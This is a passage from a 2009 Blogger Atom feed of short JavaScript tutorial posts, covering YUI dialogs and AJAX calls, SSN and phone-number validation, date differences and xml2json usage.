updater'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-3931278871330708026</id><published>2009-09-14T02:23:00.000-07:00</published><updated>2009-09-14T02:28:17.720-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='JavaScript'/><title type='text'>websnapr - Preview Bubble using Javascript</title><content type='html'>websnapr lets you capture screenshots of (almost) any web page. Allow your visitors to instantly visualize any web page before clicking. Increase site traffic, click-through rate and site stickiness. &lt;br /&gt;&lt;br /&gt;The websnapr Preview Bubble is a simple, unobtrusive script used to display an overlay bubble showing a hyperlink target thumbnail using  websnapr. It's a snap to setup and works on (almost) all modern browsers.&lt;br /&gt;&lt;br /&gt;This script has been proved to work in IE, Firefox, Opera and Safari. It might work on other browsers as well.&lt;br /&gt;&lt;br /&gt;Reference links are: &lt;br /&gt;&lt;br /&gt;http://www.frequency-decoder.com/2006/10/25/link-preview-v2/&lt;br /&gt;http://www.websnapr.com/previewbubble/&lt;br /&gt;&lt;br /&gt;Enjoy the link preview bubbling&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-3931278871330708026?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/3931278871330708026/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/09/websnapr-preview-bubble-using.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/3931278871330708026'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/3931278871330708026'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/09/websnapr-preview-bubble-using.html' title='websnapr - Preview Bubble using Javascript'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-2621213434360927655</id><published>2009-09-11T08:14:00.000-07:00</published><updated>2009-09-11T08:15:48.048-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='CSS'/><title type='text'>On fly Free GIF loader genereator</title><content type='html'>http://www.ajaxload.info/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-2621213434360927655?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/2621213434360927655/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/09/on-fly-free-gif-loader-genereator.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/2621213434360927655'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/2621213434360927655'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/09/on-fly-free-gif-loader-genereator.html' title='On fly Free GIF loader genereator'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-6209463443822823072</id><published>2009-09-11T04:30:00.001-07:00</published><updated>2009-09-11T04:30:41.292-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='JavaScript'/><category scheme='http://www.blogger.com/atom/ns#' term='Yahoo YUI'/><title type='text'>Getting Started with YUI</title><content type='html'>&lt;object height="322" width="512"&gt;&lt;param value="http://l.yimg.com/ht/yep/YV_YEP.swf?ver=2.2.34" name="movie"/&gt;&lt;param value="true" name="allowFullScreen"/&gt;&lt;param value="#000000" name="bgcolor"/&gt;&lt;param value="id=11433547&amp;amp;vid=4252968&amp;amp;lang=en-us&amp;amp;intl=us&amp;amp;thumbUrl=http%3A//l.yimg.com/a/p/i/bcst/videosearch/6827/77936533.jpeg&amp;amp;embed=1" name="flashVars"/&gt;&lt;embed height="322" width="512" flashvars="id=11433547&amp;amp;vid=4252968&amp;amp;lang=en-us&amp;amp;intl=us&amp;amp;thumbUrl=http%3A//l.yimg.com/a/p/i/bcst/videosearch/6827/77936533.jpeg&amp;amp;embed=1" bgcolor="#000000" allowfullscreen="true" type="application/x-shockwave-flash" src="http://l.yimg.com/ht/yep/YV_YEP.swf?ver=2.2.34"/&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-6209463443822823072?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/6209463443822823072/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/09/getting-started-with-yui.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/6209463443822823072'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/6209463443822823072'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/09/getting-started-with-yui.html' title='Getting Started with YUI'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-1590039398880282439</id><published>2009-09-11T04:25:00.000-07:00</published><updated>2009-09-11T04:28:47.084-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='JavaScript'/><category scheme='http://www.blogger.com/atom/ns#' term='Yahoo YUI'/><title type='text'>The Yahoo! UI (YUI) - Collection of Javascript gadgets</title><content type='html'>The YUI Library is a set of utilities and controls, written in JavaScript, for building richly interactive web applications using techniques such as DOM scripting, DHTML and AJAX. YUI is available under a BSD license and is free for all uses.&lt;br /&gt;&lt;br /&gt;It can be downloaded from http://developer.yahoo.com/yui/download/&lt;br /&gt;&lt;br /&gt;Documentation is available from http://developer.yahoo.com/yui/docs/&lt;br /&gt;&lt;br /&gt;And more interesting YUI example gallery is avail at http://developer.yahoo.com/yui/examples/&lt;br /&gt;&lt;br /&gt;Enjoy Yahoo UI... oh sorry! its YUI... :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-1590039398880282439?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/1590039398880282439/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/09/yahoo-ui-yui-collection-of-javascript.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/1590039398880282439'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/1590039398880282439'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/09/yahoo-ui-yui-collection-of-javascript.html' title='The Yahoo! UI (YUI) - Collection of Javascript gadgets'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-6706906716684277505</id><published>2009-09-11T04:13:00.000-07:00</published><updated>2009-09-11T04:20:37.512-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='JavaScript'/><category scheme='http://www.blogger.com/atom/ns#' term='Yahoo YUI'/><title type='text'>How to create a model dialog popup using Yahoo YUI</title><content type='html'>&amp;lt;script type="text/javascript" src="/js/yui/build/yahoo-dom-event/yahoo-dom-event.js"&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&amp;lt;script type="text/javascript" src="/js/yui/build/element/element-min.js"&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&amp;lt;script type="text/javascript" src="/js/yui/build/tabview/tabview-min.js"&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&amp;lt;script type="text/javascript" src="/js/yui/build/dragdrop/dragdrop-min.js"&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&amp;lt;script type="text/javascript" src="/js/yui/build/container/container-min.js"&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&amp;lt;script type="text/javascript" src="/js/yui/build/animation/animation-min.js"&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;link rel="stylesheet" type="text/css" href="/js/yui/build/container/assets/skins/sam/container.css" /&amp;gt;&lt;br /&gt;&amp;lt;link rel="stylesheet" type="text/css" href="/js/yui/build/container/assets/container-core.css" /&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;YAHOO.namespace("example.container");&lt;br /&gt;&lt;br /&gt;var content = document.getElementById("content");&lt;br /&gt; &lt;br /&gt; content.innerHTML = "";&lt;br /&gt; &lt;br /&gt; if(YAHOO.example.container.wait) {&lt;br /&gt;  YAHOO.example.container.wait.destroy();&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; YAHOO.example.container.wait = &lt;br /&gt;  new YAHOO.widget.Panel("wait",  &lt;br /&gt;          { width: "240px",&lt;br /&gt;            fixedcenter: true, &lt;br /&gt;            close: false, &lt;br /&gt;            draggable: false, &lt;br /&gt;            zindex:4,&lt;br /&gt;            modal: true,&lt;br /&gt;            visible: false&lt;br /&gt;          } &lt;br /&gt;         );&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; YAHOO.example.container.wait.setHeader("loading...");&lt;br /&gt; YAHOO.example.container.wait.setBody("loading...");&lt;br /&gt; YAHOO.example.container.wait.render(document.body);&lt;br /&gt; &lt;br /&gt;&lt;br /&gt; // Define the callback object for Connection Manager that will set the body of our content area when the content has loaded&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; var callback = {&lt;br /&gt;  success : function(o) {&lt;br /&gt;   &lt;br /&gt;   YAHOO.example.container.wait.setHeader("loaded");&lt;br /&gt;   YAHOO.example.container.wait.setBody(o.responseText);&lt;br /&gt;  },&lt;br /&gt;  failure : function(o) {&lt;br /&gt;   &lt;br /&gt;   var getData = "Connection failed";&lt;br /&gt;   YAHOO.example.container.wait.setBody(getData);&lt;br /&gt;  }&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; &lt;br /&gt; // Connect to our data source and load the data&lt;br /&gt; var conn = YAHOO.util.Connect.asyncRequest("GET", "user.jsp&amp;r=" + new Date().getTime(), callback);&lt;br /&gt;&lt;br /&gt; // Show the Panel&lt;br /&gt; YAHOO.example.container.wait.show();&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-6706906716684277505?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/6706906716684277505/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/09/how-to-create-model-dialog-popup-using.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/6706906716684277505'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/6706906716684277505'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/09/how-to-create-model-dialog-popup-using.html' title='How to create a model dialog popup using Yahoo YUI'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-2413272525485576276</id><published>2009-09-11T04:06:00.000-07:00</published><updated>2009-09-11T04:11:06.159-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='JavaScript'/><category scheme='http://www.blogger.com/atom/ns#' term='Yahoo YUI'/><title type='text'>Ajax Call using Yahoo YUI</title><content type='html'>&amp;lt;script src="js/yui/build/connection/connection-min.js"&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;br /&gt;var transactionObjectLoginStatus = { &lt;br /&gt;    start:function(type, args){&lt;br /&gt;    },&lt;br /&gt; &lt;br /&gt;    complete:function(type, args){ &lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;var handleFailure = function(o){&lt;br /&gt; YAHOO.log("The failure handler was called.  tId: " + o.tId + ".", "info", "example");&lt;br /&gt; if(o.responseText !== undefined){&lt;br /&gt;  var div = document.getElementById('container');&lt;br /&gt; &lt;br /&gt;  div.innerHTML = "&lt;li&gt;Transaction id: " + o.tId + "&lt;/li&gt;";&lt;br /&gt;  div.innerHTML += "&lt;li&gt;HTTP status: " + o.status + "&lt;/li&gt;";&lt;br /&gt;  div.innerHTML += "&lt;li&gt;Status code message: " + o.statusText + "&lt;/li&gt;";&lt;br /&gt; &lt;br /&gt;  div.style.backgroundColor='red';&lt;br /&gt; }&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;var handleSuccessLogin = function(o){&lt;br /&gt; if(o.responseText !== undefined){&lt;br /&gt; }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;var callbackLogin =&lt;br /&gt;{&lt;br /&gt;  success:handleSuccessLogin,&lt;br /&gt;  failure: handleFailure,&lt;br /&gt;  customevents:{ &lt;br /&gt;     onStart:transactionObjectLoginStatus.start, &lt;br /&gt;     onComplete:transactionObjectLoginStatus.complete&lt;br /&gt;  },&lt;br /&gt;  argument: ['foo','bar']&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;var postData = "username="+usrName+"&amp;password="+passWd;&lt;br /&gt;var request = YAHOO.util.Connect.asyncRequest('POST', loginAuthUrl, callbackLogin, postData);&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-2413272525485576276?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/2413272525485576276/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/09/ajax-call-using-yahoo-yui.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/2413272525485576276'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/2413272525485576276'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/09/ajax-call-using-yahoo-yui.html' title='Ajax Call using Yahoo YUI'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-2563636042340635559</id><published>2009-09-11T04:05:00.000-07:00</published><updated>2009-09-11T04:06:08.696-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='JavaScript'/><title type='text'>JavaScript to validate US SSN numbers</title><content type='html'>function SSNValidation(ssn) {&lt;br /&gt;var matchArr = ssn.match(/^(\d{3})-?\d{2}-?\d{4}$/);&lt;br /&gt;var numDashes = ssn.split('-').length - 1;&lt;br /&gt;if (matchArr == null || numDashes == 1) {&lt;br /&gt;alert('Invalid SSN. Must be 9 digits or in the form NNN-NN-NNNN.');&lt;br /&gt;msg = "does not appear to be valid";&lt;br /&gt;document.getElementById("ind_ssn").select();&lt;br /&gt;}&lt;br /&gt;else &lt;br /&gt;if (parseInt(matchArr[1],10)==0) {&lt;br /&gt;alert("Invalid SSN: SSN's can't start with 000.");&lt;br /&gt;msg = "does not appear to be valid";&lt;br /&gt;}&lt;br /&gt;else {&lt;br /&gt;msg = "appears to be valid";&lt;br /&gt;alert(ssn + "\r\n\r\n" + msg + " Social Security Number.");&lt;br /&gt;   }&lt;br /&gt;}&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-2563636042340635559?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/2563636042340635559/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/09/javascript-to-validate-us-ssn-numbers.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/2563636042340635559'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/2563636042340635559'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/09/javascript-to-validate-us-ssn-numbers.html' title='JavaScript to validate US SSN numbers'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-6016191641980595324</id><published>2009-09-11T04:04:00.000-07:00</published><updated>2009-09-11T04:05:12.540-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='JavaScript'/><title type='text'>JavaScript to convert phone numbers in US phone format</title><content type='html'>var n;&lt;br /&gt;var p;&lt;br /&gt;var p1;&lt;br /&gt;function ValidatePhone(){&lt;br /&gt;p=p1.value&lt;br /&gt;if(p.length==3){&lt;br /&gt; //d10=p.indexOf('(')&lt;br /&gt; pp=p;&lt;br /&gt; d4=p.indexOf('(')&lt;br /&gt; d5=p.indexOf(')')&lt;br /&gt; if(d4==-1){&lt;br /&gt;  pp="("+pp;&lt;br /&gt; }&lt;br /&gt; if(d5==-1){&lt;br /&gt;  pp=pp+")";&lt;br /&gt; }&lt;br /&gt; //pp="("+pp+")";&lt;br /&gt; document.getElementById(p1.name).value="";&lt;br /&gt; document.getElementById(p1.name).value=pp;&lt;br /&gt;}&lt;br /&gt;if(p.length&gt;3){&lt;br /&gt; d1=p.indexOf('(')&lt;br /&gt; d2=p.indexOf(')')&lt;br /&gt; if (d2==-1){&lt;br /&gt;  l30=p.length;&lt;br /&gt;  p30=p.substring(0,4);&lt;br /&gt;  //alert(p30);&lt;br /&gt;  p30=p30+")"&lt;br /&gt;  p31=p.substring(4,l30);&lt;br /&gt;  pp=p30+p31;&lt;br /&gt;  //alert(p31);&lt;br /&gt;  document.getElementById(p1.name).value="";&lt;br /&gt;  document.getElementById(p1.name).value=pp;&lt;br /&gt; }&lt;br /&gt; }&lt;br /&gt;if(p.length&gt;5){&lt;br /&gt; p11=p.substring(d1+1,d2);&lt;br /&gt; if(p11.length&gt;3){&lt;br /&gt; p12=p11;&lt;br /&gt; l12=p12.length;&lt;br /&gt; l15=p.length&lt;br /&gt; //l12=l12-3&lt;br /&gt; p13=p11.substring(0,3);&lt;br /&gt; p14=p11.substring(3,l12);&lt;br /&gt; p15=p.substring(d2+1,l15);&lt;br /&gt; document.getElementById(p1.name).value="";&lt;br /&gt; pp="("+p13+")"+p14+p15;&lt;br /&gt; document.getElementById(p1.name).value=pp;&lt;br /&gt; //obj1.value="";&lt;br /&gt; //obj1.value=pp;&lt;br /&gt; }&lt;br /&gt; l16=p.length;&lt;br /&gt; p16=p.substring(d2+1,l16);&lt;br /&gt; l17=p16.length;&lt;br /&gt; if(l17&gt;3&amp;&amp;p16.indexOf('-')==-1){&lt;br /&gt;  p17=p.substring(d2+1,d2+4);&lt;br /&gt;  p18=p.substring(d2+4,l16);&lt;br /&gt;  p19=p.substring(0,d2+1);&lt;br /&gt;  //alert(p19);&lt;br /&gt; pp=p19+p17+"-"+p18;&lt;br /&gt; document.getElementById(p1.name).value="";&lt;br /&gt; document.getElementById(p1.name).value=pp;&lt;br /&gt; //obj1.value="";&lt;br /&gt; //obj1.value=pp;&lt;br /&gt; }&lt;br /&gt;}&lt;br /&gt;//}&lt;br /&gt;setTimeout(ValidatePhone,100)&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;function getIt(m){&lt;br /&gt;n=m.name;&lt;br /&gt;//p1=document.forms[0].elements[n]&lt;br /&gt;p1=m&lt;br /&gt;ValidatePhone()&lt;br /&gt;}&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-6016191641980595324?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/6016191641980595324/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/09/javascript-to-convert-phone-numbers-in.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/6016191641980595324'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/6016191641980595324'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/09/javascript-to-convert-phone-numbers-in.html' title='JavaScript to convert phone numbers in US phone format'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-1696724003314159058</id><published>2009-09-11T03:59:00.000-07:00</published><updated>2009-09-11T04:00:12.428-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='JavaScript'/><title type='text'>Date difference in days using JavaScript</title><content type='html'>function calcDays(startDate, endDate){&lt;br /&gt;  var date1 = startDate;&lt;br /&gt;  var date2 = endDate;&lt;br /&gt;  date1 = date1.split("-");&lt;br /&gt;  date2 = date2.split("-");&lt;br /&gt;  var sDate = new Date(date1[0]+"/"+date1[1]+"/"+date1[2]);&lt;br /&gt;  var eDate = new Date(date2[0]+"/"+date2[1]+"/"+date2[2]);&lt;br /&gt;  var daysApart = Math.abs(Math.round((sDate-eDate)/86400000));&lt;br /&gt;  return daysApart;&lt;br /&gt;}&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-1696724003314159058?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/1696724003314159058/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/09/date-difference-in-days-using.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/1696724003314159058'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/1696724003314159058'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/09/date-difference-in-days-using.html' title='Date difference in days using JavaScript'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-765405523682283099</id><published>2009-09-11T03:35:00.000-07:00</published><updated>2009-09-11T03:46:36.430-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='JSON'/><category scheme='http://www.blogger.com/atom/ns#' term='XML'/><title type='text'>How to use xml2json</title><content type='html'>To use xml2json you simply embed it in the head section of your web pages, before any other scripts that uses it. &lt;br /&gt;&lt;br /&gt;&amp;lt;head&amp;gt;&lt;br /&gt;&amp;lt;script type="text/javascript" src="xml2json.js"&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;...&lt;br /&gt;&amp;lt;/head&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Then you use the method xml2json.parser() to convert your XML: &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;// A simple call - myXML is a string containing your XML: &lt;br /&gt;&lt;br /&gt;myJsonObject=xml2json.parser(myXML);   &lt;br /&gt;&lt;br /&gt;// A 2:nd, optional, parameter is "tags not to convert" - for example &amp;lt;b&amp;gt; and &amp;lti&amp;gt;: &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;myJsonObject=xml2json.parser(myXML,'b,i');  &lt;br /&gt;&lt;br /&gt;// A 3:rd, optional, parameter gives us a string showing us the JSON structure &lt;br /&gt;// instead of the actual JSON object: &lt;br /&gt;&lt;br /&gt;myString=xml2json.parser(myXML,'','html');   &lt;br /&gt;&lt;br /&gt;// - use "compact" for output without linebreaks or tabbing &lt;br /&gt;// - use "normal" for output with linebreaks and tabbing &lt;br /&gt;// - use "html" for a html representation&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-765405523682283099?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/765405523682283099/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/09/how-to-use-xml2json.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/765405523682283099'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/765405523682283099'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/09/how-to-use-xml2json.html' title='How to use xml2json'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-1691591840531177180</id><published>2009-09-11T03:33:00.000-07:00</published><updated>2009-09-11T03:35:09.517-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='JSON'/><category scheme='http://www.blogger.com/atom/ns#' term='XML'/><title type='text'>XML to JSON – a converter</title><content type='html'>There are probably tons of XML to JSON converters floating around out there by now, some written in JavaScript and some in different server side languages. Anyway I wrote this one, xml2json.js, about a year ago – it's small (5 kB) and rather fast. You can download and use it for free. You can also try it out here:&lt;br /&gt;&lt;br /&gt;http://www.thomasfrank.se/downloadableJS/xml2json.js&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-1691591840531177180?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/1691591840531177180/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/09/xml-to-json-converter.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/1691591840531177180'/><link rel='self' type='application/atom+xml' 